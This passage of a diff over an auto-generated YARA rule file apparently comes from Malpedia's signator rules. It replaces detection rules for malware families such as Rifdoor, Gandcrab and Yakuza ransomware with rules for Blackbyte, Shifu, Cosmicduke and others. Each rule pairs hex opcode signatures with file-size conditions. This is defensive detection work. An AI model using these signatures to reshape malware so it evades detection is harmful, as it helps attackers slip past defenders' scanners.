+		$sequence_0 = { c645bc55 c7854001000030163930 c78544010000343b2025 c6854801000055 c78560010000013c3830 c785640100003a202155 }
+		$sequence_1 = { c744244806393030 66c744244c2555 c785c000000006302110 c785c400000027273a27 c785c8000000183a3130 c685cc00000055 }
+		$sequence_2 = { c7456016273034 c745642130133c c7456839300255 c7851001000016273034 c7851401000021300527 c785180100003a363026 }
+		$sequence_3 = { c745b06970746f c745b472536163 66c745b86c00 ff15???????? }
+		$sequence_4 = { c7850401000030102d36 c785080100003025213c 66c7850c0100003a3b c6850e01000055 c745c007303431 }
+		$sequence_5 = { 488bd8 ffd3 488d4d70 488bf8 ffd3 }
+		$sequence_6 = { c6458e55 c744245033273034 66c74424543155 c744243033273030 c644243455 c744244033263030 66c74424443e55 }
+		$sequence_7 = { c6852e01000055 c745b0193a3431 c745b4193c3727 c745b834272c14 c645bc55 c7854001000030163930 c78544010000343b2025 }
+		$sequence_8 = { c7851401000021300527 c785180100003a363026 66c7851c0100002602 c6851e01000055 }
+		$sequence_9 = { c7854cffffff00000000 c78548ffffff00000000 c78554ffffff00000000 c78550ffffff00000000 c745bc53003a00 c745c028004d00 c745c44c003b00 }
+		$sequence_10 = { 56 ffd3 8987d8000000 8d87dc000000 }
+		$sequence_11 = { 68???????? ff15???????? 8b4dfc 33c0 5f 5e }
+		$sequence_12 = { 8bf8 85ff 7514 8d45ac 50 ff15???????? }
+		$sequence_13 = { 57 ff15???????? 8b85b8fdffff ffb5bcfdffff a3???????? }
+		$sequence_14 = { 68???????? e8???????? 6a03 68???????? 8d0c45ac880110 8bc1 }
+		$sequence_15 = { 8d45c8 50 ffd6 8bf8 8d8558ffffff }
 
 	condition:
-		7 of them and filesize <1573888
+		7 of them and filesize <311296
 }
-rule MALPEDIA_Win_Rifdoor_Auto : FILE
+rule MALPEDIA_Win_Blackbyte_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "10650b5d-c263-58c2-9892-48c8752426d4"
+		id = "ae2ced49-3989-5cc9-8c98-64c5f933a895"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rifdoor"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rifdoor_auto.yar#L1-L174"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackbyte"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.blackbyte_auto.yar#L1-L158"
 		license_url = "N/A"
-		logic_hash = "041eb6ebe0e6f7a680f9d10fa1b95fdf41bb567152330eaf4a0d973e56aa2474"
+		logic_hash = "1cee2f7e2bce0af57e75d6fdf4454ccb725b7569d4236140429240d2a7df1fe9"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -146880,38 +153870,38 @@ rule MALPEDIA_Win_Rifdoor_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 8be5 5d c20400 6804010000 8d54240c }
-		$sequence_1 = { 0f8484000000 391d???????? 747c 391d???????? 7474 391d???????? 746c }
-		$sequence_2 = { ba4f000000 8bc2 668944243c b952000000 66894c2438 668954243a }
-		$sequence_3 = { 83c408 85c0 7405 bf01000000 8d542410 52 ff15???????? }
-		$sequence_4 = { 830eff 2b34bd605d4100 c1fe06 8bc7 c1e005 }
-		$sequence_5 = { b001 5e 81c408010000 c3 5f 32c0 }
-		$sequence_6 = { 8d4c2454 51 8b4c2410 8d54242c e8???????? 83c408 85c0 }
-		$sequence_7 = { 83c408 a3???????? e9???????? 3c01 }
-		$sequence_8 = { 53 56 8b35???????? 57 3b35???????? 7d4a }
-		$sequence_9 = { 50 8b410c ffd0 8b95f0f7ffff }
-		$sequence_10 = { e8???????? 8b1d???????? 33c0 83c40c 33d2 }
-		$sequence_11 = { 68ff000000 8d9524faffff 52 ff15???????? }
-		$sequence_12 = { 75f9 8d8de8fbffff 2bc2 51 40 }
-		$sequence_13 = { c1ee08 0bd6 884101 03c2 8d1400 33d0 }
-		$sequence_14 = { ff15???????? 68???????? 6a00 6801001f00 ff15???????? 5f 5e }
-		$sequence_15 = { 8d8424a8010000 50 53 ff15???????? 85c0 7507 53 }
+		$sequence_0 = { 488d15bc010000 4889542478 4889842480000000 488d542478 4889942490000000 c644242701 }
+		$sequence_1 = { 488d0db4020000 488908 833d????????00 7520 488b4c2428 48894808 }
+		$sequence_2 = { 0fb64210 88442408 0fb64211 88442409 }
+		$sequence_3 = { 0fb6420b 8844240b 0fb6420c 8844240c 0fb6420d 8844240d 0fb6420e }
+		$sequence_4 = { 488d4a01 488b442428 488b5c2430 4883f903 }
+		$sequence_5 = { 0101 ffc5 3b6b68 0f82e6feffff }
+		$sequence_6 = { 488d542478 4889942490000000 c644242701 488b9c24a8000000 488b8c24b0000000 e8???????? }
+		$sequence_7 = { 488d4250 488b542430 488d5a50 b918000000 }
+		$sequence_8 = { 0fb6420d 8844240d 0fb6420e 8844240e 0fb6420f 8844240f }
+		$sequence_9 = { 488d542470 4889942488000000 c644241f01 488b9c24a0000000 }
+		$sequence_10 = { 488d4a01 488b442430 488b5c2438 90 4883f90f }
+		$sequence_11 = { 0fb64212 8844240a 0fb64213 8844240b }
+		$sequence_12 = { 0fb6420f 8844240f 488b442408 48894108 }
+		$sequence_13 = { 488d5c244b b902000000 0f1f440000 e8???????? }
+		$sequence_14 = { 014608 498bce ffd7 448b85e8040000 }
+		$sequence_15 = { 0fb64211 88442409 0fb64212 8844240a }
 
 	condition:
-		7 of them and filesize <212992
+		7 of them and filesize <9435136
 }
-rule MALPEDIA_Win_Gandcrab_Auto : FILE
+rule MALPEDIA_Win_Shifu_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8fb97f0d-f07e-528f-846a-617ae03e5a0b"
+		id = "b2b85e64-d954-5aeb-b02a-9d97cb3ba3ee"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gandcrab"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gandcrab_auto.yar#L1-L119"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shifu"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.shifu_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "51f7c1543a06dc758514ed4496666d6ea311b3c69b16117153a658edbbb8509b"
+		logic_hash = "fa5868e6742fc467c77c9f2e2fa5062fd3f24b48dd60ea0ece307848b06e5759"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -146925,32 +153915,32 @@ rule MALPEDIA_Win_Gandcrab_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? ff7728 8bf0 ff15???????? 03c3 8d5e04 }
-		$sequence_1 = { 7403 83c314 837f7400 741b ff777c ff15???????? ff7778 }
-		$sequence_2 = { 8d5e04 03d8 837f2400 741b ff772c }
-		$sequence_3 = { ff774c 8bf0 ff15???????? 03c3 8d5e04 03d8 }
-		$sequence_4 = { 03c3 8d5e04 03d8 837f5400 741b }
-		$sequence_5 = { 03c3 8d5e04 03d8 837f3000 741b }
-		$sequence_6 = { ff774c 8bf0 ff15???????? 03c3 8d5e04 }
-		$sequence_7 = { 837f1800 741b ff7720 ff15???????? }
-		$sequence_8 = { 03d8 837f6000 7403 83c314 837f7400 741b ff777c }
-		$sequence_9 = { ff15???????? 03c3 8d5e04 03d8 837f3000 }
+		$sequence_0 = { 85c0 740d 57 6a1b ba???????? }
+		$sequence_1 = { 6a24 ff7508 ffd6 53 8d45f0 50 }
+		$sequence_2 = { 83651800 8d941a00010000 895508 8b5510 0fbe1410 89550c 85c9 }
+		$sequence_3 = { 740c e8???????? 8325????????00 8d85fcfeffff e8???????? }
+		$sequence_4 = { 50 ff75f4 ff15???????? 85c0 7511 ff75f0 8d443701 }
+		$sequence_5 = { 668985a2fcffff b8170b0000 66898578fcffff 6a14 58 6689857afcffff 8b4348 }
+		$sequence_6 = { 83c102 836d0c02 eb2d 8bd9 8b4f2c 2bd8 035de8 }
+		$sequence_7 = { 8975e4 6a0c 58 e8???????? 8965e8 8bfc 3bfe }
+		$sequence_8 = { 33c0 5e c9 c20c00 55 8bec 85c9 }
+		$sequence_9 = { 56 8d85e8feffff 53 50 ff15???????? 8d85e8feffff 83c410 }
 
 	condition:
-		7 of them and filesize <1024000
+		7 of them and filesize <344064
 }
-rule MALPEDIA_Win_Pykspa_Auto : FILE
+rule MALPEDIA_Win_Hazy_Load_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c344e44d-277b-5916-93ac-fe5b84ee097a"
+		id = "f9ce3341-35f2-576a-ac44-5d1a215a7e85"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pykspa"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pykspa_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hazy_load"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hazy_load_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "ae1a9dadb1337e6c1ef760caa0d42ce5c68005bd2830f1ee498d2437086c9f33"
+		logic_hash = "2293495fdcc042b4bc9589ccdd3e32857e18de0ce6c242812538dc1d663eb294"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -146964,32 +153954,32 @@ rule MALPEDIA_Win_Pykspa_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b5c240c 57 8b7c240c 3bfb 7513 57 8b7c2418 }
-		$sequence_1 = { 6a00 c6400e01 ff15???????? cc 55 8bec b89c110000 }
-		$sequence_2 = { c3 a1???????? 85c0 7501 c3 8b4818 85c9 }
-		$sequence_3 = { 381d???????? 8b2d???????? 744f 8d442418 68???????? 50 e8???????? }
-		$sequence_4 = { c60000 807d0000 0f843b010000 57 ff742414 e8???????? 50 }
-		$sequence_5 = { 0f95c0 5e c3 55 8bec 83ec54 53 }
-		$sequence_6 = { ff15???????? 8b35???????? 53 ffd6 8b3d???????? 53 ffd7 }
-		$sequence_7 = { 381d???????? 7508 381d???????? 743e 56 ff15???????? 83f805 }
-		$sequence_8 = { 8d85acfeffff 68???????? 50 e8???????? 85c0 59 59 }
-		$sequence_9 = { 6a05 8bca 33d2 f7f3 8bc7 bb40e20100 03ca }
+		$sequence_0 = { b904000000 4c8d05f5c50000 488d15aeb20000 e8???????? 488bf8 4885c0 740f }
+		$sequence_1 = { 48897c2408 488b15???????? 488d3dd16d0100 8bc2 b940000000 83e03f 2bc8 }
+		$sequence_2 = { 488d0db8200100 4183e23f 4903e8 832700 498bf0 }
+		$sequence_3 = { 488bf1 41bc02000000 4489742420 418bcc 448d4205 ff15???????? }
+		$sequence_4 = { 4b87bcf750140200 33c0 488b5c2450 488b6c2458 488b742460 }
+		$sequence_5 = { 483b0d???????? 7417 488d0570630100 483bc8 740b 83791000 7505 }
+		$sequence_6 = { 4883675000 488d05ade0ffff 83675800 488d4f28 }
+		$sequence_7 = { 488d15a96a0100 83e13f 488bc5 48c1f806 48c1e106 }
+		$sequence_8 = { 442bc3 4803d0 4533c9 488bce ff15???????? 85c0 0f8eacfeffff }
+		$sequence_9 = { 488d0dc0210100 4183e23f 4903e8 832300 }
 
 	condition:
-		7 of them and filesize <835584
+		7 of them and filesize <315392
 }
-rule MALPEDIA_Win_Matryoshka_Rat_Auto : FILE
+rule MALPEDIA_Win_Cruloader_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3e8b1848-3ea9-5312-86aa-83712c0906a6"
+		id = "975bd752-b718-50f1-9af8-cfa41728edc9"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.matryoshka_rat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.matryoshka_rat_auto.yar#L1-L141"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cruloader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cruloader_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "e63bf906be3841d18c1769641826f4871bcf6c179928d9c22e19c757766e13e1"
+		logic_hash = "a1572c6250fefbf1b80a173c44c61e578e12fe07ff0f92d960b828b4e32b23d4"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -147003,36 +153993,32 @@ rule MALPEDIA_Win_Matryoshka_Rat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { b037 c3 b073 c3 }
-		$sequence_1 = { c3 b06f c3 b063 c3 }
-		$sequence_2 = { 8b46fc 8947fc 49 75ed 5f ff4210 }
-		$sequence_3 = { 8b4704 ff4710 ff07 8b0488 }
-		$sequence_4 = { 74e3 440fb603 430fbe841040d30500 85c0 }
-		$sequence_5 = { 8b4708 3b470c 7507 8bcf }
-		$sequence_6 = { 74e2 ff8170040000 83b97004000002 0f8493010000 83cfff 488d2d572c0300 }
-		$sequence_7 = { 74e9 488d15b9450400 488bcb e8???????? }
-		$sequence_8 = { 74de 83cbff 488bca e8???????? 90 48897c2420 }
-		$sequence_9 = { 8b4708 b120 8b570c 8b7718 }
-		$sequence_10 = { 74e6 488d152fac0300 488bcb e8???????? }
-		$sequence_11 = { 8b4704 8b3491 890491 8bd6 }
-		$sequence_12 = { 74e2 ff8170040000 83b97004000002 0f84eb010000 83cfff 4c8d3dde290300 }
-		$sequence_13 = { 8b4704 8bf1 33d1 81e6ff030000 }
+		$sequence_0 = { 53 ff15???????? 6a04 6800100000 ff35???????? 6a00 }
+		$sequence_1 = { 6bf638 8b0c8dd85e4100 80643128fd 5f 5e c9 c3 }
+		$sequence_2 = { 0f1005???????? 50 0f1145e0 ff15???????? 33c9 90 8a540dd0 }
+		$sequence_3 = { 3bf7 72e9 5f f7d0 5e 8be5 }
+		$sequence_4 = { 88540dc0 41 3bc8 7ced }
+		$sequence_5 = { 83c404 0f1000 6a00 0f1185ccfbffff ff15???????? }
+		$sequence_6 = { 833d????????00 0f851c0e0000 8d0db02f4100 ba1b000000 e9???????? a900000080 7517 }
+		$sequence_7 = { 7309 80341961 41 3bca 72f7 e8???????? 8d45ec }
+		$sequence_8 = { 0f8c5cffffff c705????????01000000 8b7d08 83c8ff }
+		$sequence_9 = { 0f8494010000 8bb5e4fcffff 8d45f4 50 ff7354 57 ff75e8 }
 
 	condition:
-		7 of them and filesize <843776
+		7 of them and filesize <196608
 }
-rule MALPEDIA_Win_Yakuza_Ransomware_Auto : FILE
+rule MALPEDIA_Win_Cosmicduke_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "11a15f28-8d6d-50f2-ab84-992f1017bc03"
+		id = "a26b55b5-f92c-59e0-aeb7-97b4045e507d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yakuza_ransomware"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.yakuza_ransomware_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cosmicduke"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cosmicduke_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "f6b4887f1e5f8fb585f51d15a1308ea3aa15725a1e02d02f26222a8f601e98de"
+		logic_hash = "ac4cc48798cdbb14b22137cd5139a9905a17da02e3b6c8aa744a86c9cd8ba953"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -147046,32 +154032,32 @@ rule MALPEDIA_Win_Yakuza_Ransomware_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8bd1 d1ea b8ffffff1f 2bc2 3bc8 7607 8bc3 }
-		$sequence_1 = { e8???????? 3b780c 730e 8b4008 8b34b8 85f6 0f85d7000000 }
-		$sequence_2 = { d1f8 837e1408 7202 8b36 50 ff7508 8bce }
-		$sequence_3 = { 6a01 6a01 57 8d4d80 e8???????? 8b4580 8d4d80 }
-		$sequence_4 = { 8d7018 83c030 8b11 03c7 50 03f7 56 }
-		$sequence_5 = { c745fcffffffff 56 8b4de0 41 51 53 8bcf }
-		$sequence_6 = { 8b4f14 8b5614 85c9 743e 85c0 750d e8???????? }
-		$sequence_7 = { eb17 0fb74644 8d4e24 50 e8???????? 6a2d 8d4e24 }
-		$sequence_8 = { 8b06 6a02 51 53 8d8d50ffffff 51 8bce }
-		$sequence_9 = { c745f000000000 c7461000000000 c7461407000000 668906 8945fc 8bc3 c745f001000000 }
+		$sequence_0 = { ff542418 83c602 47 3b742428 72ce 8b4514 }
+		$sequence_1 = { ff8688050000 b001 5f c3 6a1f 5a 8bc1 }
+		$sequence_2 = { c1e104 03cb 898439142c0000 e9???????? 3975e4 7408 ff75e4 }
+		$sequence_3 = { 8d7c241c e8???????? 3ac3 0f84ac010000 8b442420 89442430 8d842438200000 }
+		$sequence_4 = { 85db 7507 32c0 e9???????? 837d1400 74f3 807d1000 }
+		$sequence_5 = { 6a01 68???????? 56 53 e8???????? b001 5f }
+		$sequence_6 = { 8bc7 8d4c2414 e8???????? 53 8d44243c 50 }
+		$sequence_7 = { e8???????? 0fb7c0 894510 6685c0 7512 33c0 40 }
+		$sequence_8 = { ff7508 8bf0 8d85ecfdffff 50 ff15???????? 8b3d???????? }
+		$sequence_9 = { e8???????? 84c0 742f 838c244c300000ff 8d74240c e8???????? 8b4508 }
 
 	condition:
-		7 of them and filesize <2811904
+		7 of them and filesize <456704
 }
-rule MALPEDIA_Win_Onionduke_Auto : FILE
+rule MALPEDIA_Win_Yayih_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "bc18bebb-924f-5db1-bda1-575db25c40f5"
+		id = "ad6edea8-11c9-5fa2-96f2-3800b1bd4695"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.onionduke"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.onionduke_auto.yar#L1-L117"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yayih"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.yayih_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "2b5a6150c91e41c1ea04d8a66d543531da34a08cde94cd3e5e729e90a4473cac"
+		logic_hash = "d13e6780f7fe46f9387338ccdb35700eb9e8a8c2ac7c13f232d1064c9386ae55"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -147085,32 +154071,32 @@ rule MALPEDIA_Win_Onionduke_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 33d2 895e68 66895658 8b550c 8d4202 c645fc04 8945ec }
-		$sequence_1 = { c1e81f 03c2 897dcc 0f84d0000000 897dd0 eb02 }
-		$sequence_2 = { 384b01 7506 40 380c18 }
-		$sequence_3 = { 894ee4 894ffc 8d4eec 8d57ec 8d5fec }
-		$sequence_4 = { 56 8bf1 837e0c00 751e 6a04 e8???????? 83c404 }
-		$sequence_5 = { 3bfb 72ac 5f 5e }
-		$sequence_6 = { 8b4e44 8b09 85d2 7405 }
-		$sequence_7 = { 8910 894ed0 8b56e0 8957e0 8b56e4 }
-		$sequence_8 = { e8???????? 83c404 33c0 eb66 8bc6 8d5001 }
-		$sequence_9 = { 80f90f 7f05 80c157 eb02 32c9 }
+		$sequence_0 = { 5f ff7508 ff55f4 53 ff15???????? 8bc7 }
+		$sequence_1 = { 68???????? e8???????? 8b35???????? 83c40c 50 57 }
+		$sequence_2 = { 50 56 e8???????? 59 85c0 59 753c }
+		$sequence_3 = { 85c0 59 7507 57 e8???????? 59 e8???????? }
+		$sequence_4 = { ff15???????? 56 6880000000 6a03 56 6a01 8d85b8b8ffff }
+		$sequence_5 = { 66ab aa 59 33c0 8dbde9faffff 889de8faffff f3ab }
+		$sequence_6 = { 3bfe 750a 56 56 56 6a08 }
+		$sequence_7 = { e8???????? 6801200000 8d85b8b8ffff 56 50 e8???????? }
+		$sequence_8 = { 50 8d854cf6ffff 50 e8???????? 83c430 8d459c 50 }
+		$sequence_9 = { 0fafca 0fb65002 03ca 890d???????? 0fb64803 69c960ea0000 }
 
 	condition:
-		7 of them and filesize <671744
+		7 of them and filesize <57344
 }
-rule MALPEDIA_Win_Gratem_Auto : FILE
+rule MALPEDIA_Win_Moonwind_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "89f0dee2-28c6-5a10-a3ad-288a448f45ac"
+		id = "27c4684d-de1d-52d3-b498-3e41ed70b3fe"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gratem"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gratem_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.moonwind"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.moonwind_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "b58ab0ade84c3286830362f0f11bfb9519b8733c76dfe4e9cd7ba24746663e50"
+		logic_hash = "4c5abeb5054990236a95ce032241f8cb96582d9f2acb60b8ffe13b68b01f39ef"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -147124,32 +154110,32 @@ rule MALPEDIA_Win_Gratem_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c744242404000000 ffd5 85c0 0f84b2000000 }
-		$sequence_1 = { 884e13 66a1???????? 33c9 6685c0 741f 0fb7c0 ba000c0000 }
-		$sequence_2 = { ff15???????? 8b442414 50 ff15???????? 8b5c2410 56 }
-		$sequence_3 = { 85c0 7405 e8???????? 8b8c24d4070000 5e 33cc }
-		$sequence_4 = { 663bc2 0f84ac030000 0fb7048d64bc4000 41 }
-		$sequence_5 = { 8b4c2440 8b542418 894114 895110 }
-		$sequence_6 = { 6a00 50 e8???????? 83c40c 6805010000 8d4c2404 51 }
-		$sequence_7 = { 53 ff54244c 85c0 8b442414 }
-		$sequence_8 = { 0fb7c0 baa8540000 663bc2 0f8420050000 0fb7048d64bc4000 41 }
-		$sequence_9 = { 56 8d34c5c0b84000 833e00 7513 50 e8???????? }
+		$sequence_0 = { 8b11 83c104 c1ea08 881430 8a51fc 40 881430 }
+		$sequence_1 = { 8b5dfc 895de4 8b5de4 66c7030200 8b5dfc 83c308 895de4 }
+		$sequence_2 = { 53 e8???????? 83c404 8b5d08 8b1b 81c390000000 895dec }
+		$sequence_3 = { e8???????? 83c404 83c734 33d2 83c8ff 8917 885704 }
+		$sequence_4 = { b801000000 eb05 b800000000 85c0 0f842f000000 8b5d08 8b1b }
+		$sequence_5 = { bbdc090000 e8???????? 83c410 8945b8 8b5dbc 85db 7409 }
+		$sequence_6 = { ff75fc 6801000000 bb68010000 e8???????? 83c410 8945f0 68???????? }
+		$sequence_7 = { 8965f4 8b5d08 ff33 6801000000 ff75f8 ff15???????? }
+		$sequence_8 = { 50 e8???????? 8d7c2434 83c9ff 33c0 83c40c f2ae }
+		$sequence_9 = { dc25???????? dd5dc4 6801030080 6a00 682c000000 dd45c4 e8???????? }
 
 	condition:
-		7 of them and filesize <155648
+		7 of them and filesize <1417216
 }
-rule MALPEDIA_Win_Cradlecore_Auto : FILE
+rule MALPEDIA_Win_Alma_Communicator_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "de5cfc2b-ebd2-5b2c-afe8-802a7c966fb2"
+		id = "bb280ae5-df93-5ddd-a029-1d8f19d4cee3"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cradlecore"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cradlecore_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.alma_communicator"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.alma_communicator_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "50e3eefefe56e4c7c3dbb9ce61b4c12511d78dda94103f69f932673a673b2621"
+		logic_hash = "ceeffab13f59872b0e8352c80061e88c0752f86bcb15a8ae0c39228603990d18"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -147163,32 +154149,32 @@ rule MALPEDIA_Win_Cradlecore_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 03f2 eb5c 8b45f4 8b0c85f01f4300 f644190448 7437 }
-		$sequence_1 = { 720f 8b06 5f c60000 8bc6 }
-		$sequence_2 = { 83e908 8d7608 660fd60f 8d7f08 8b048db8734000 ffe0 f7c703000000 }
-		$sequence_3 = { e8???????? 51 51 53 8bd9 33c0 8945f0 }
-		$sequence_4 = { e8???????? 83c410 3bc3 75cf 0fb644240f e9???????? c74424340f000000 }
-		$sequence_5 = { 80fb5a 7e53 80fb2d 744e 80fb2e }
-		$sequence_6 = { 8b5df4 8b7df0 33f6 8bce 8b75fc }
-		$sequence_7 = { 7204 8b1e eb02 8bde 8b450c 33d2 8b4d08 }
-		$sequence_8 = { 59 50 8d45d0 8bce 50 e8???????? 837da010 }
-		$sequence_9 = { 53 50 68???????? 53 ff15???????? 8d4de8 c745e868747470 }
+		$sequence_0 = { 8a4a1c 884807 a1???????? c6400800 e8???????? 59 }
+		$sequence_1 = { 8945f0 8b450c 8945f4 8b4514 40 c745ec93f84000 894df8 }
+		$sequence_2 = { 8bcb 898554f7ffff e8???????? 8bcb 898550f7ffff 6a02 5f }
+		$sequence_3 = { e8???????? 83c40c 8d8d58ffffff 8d5102 }
+		$sequence_4 = { 8974241c 68d0070000 832600 897c2424 }
+		$sequence_5 = { 668b4f02 03fe 663bca 75f5 ffb53cf7ffff 8907 6bc328 }
+		$sequence_6 = { 0f85aa010000 33c0 40 8985ccebffff }
+		$sequence_7 = { 7204 3c7a 7608 3c2b 7404 3c2f }
+		$sequence_8 = { 88840d20f6ffff 41 84c0 75ed 8d8d20f6ffff 49 8a4101 }
+		$sequence_9 = { 8a01 41 84c0 75f9 8a442454 2bca 83f901 }
 
 	condition:
-		7 of them and filesize <450560
+		7 of them and filesize <245760
 }
-rule MALPEDIA_Win_Flashflood_Auto : FILE
+rule MALPEDIA_Win_Paladin_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2b564813-7b00-54ab-b562-7a8de5369185"
+		id = "8e8ee0fc-daaf-5adf-960f-9f0ec8622d0d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flashflood"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.flashflood_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.paladin"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.paladin_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "3006626d1ecba778668c15e0aafe5a9ff5cdfe4debbbd864318346fc290d9ab7"
+		logic_hash = "421e228bfdffaff271db99688d25ef5b69f4b46e3f813d9e9b328d48850dca52"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -147202,32 +154188,32 @@ rule MALPEDIA_Win_Flashflood_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? 8145f800809b07 8d45f8 50 }
-		$sequence_1 = { 56 e8???????? 40 8945f8 0fbe06 50 }
-		$sequence_2 = { c3 b8???????? c3 55 8bec 81ec88020000 }
-		$sequence_3 = { 8bec 81ec10060000 56 6a5c ff750c ff15???????? 8bf0 }
-		$sequence_4 = { 6bc90c 8b91f0914000 8955f4 8b450c 6bc00c }
-		$sequence_5 = { ff5164 85c0 0f85c5010000 8d55f4 8b45ec 52 }
-		$sequence_6 = { 33c0 eb0a 57 ff15???????? 6a01 58 5f }
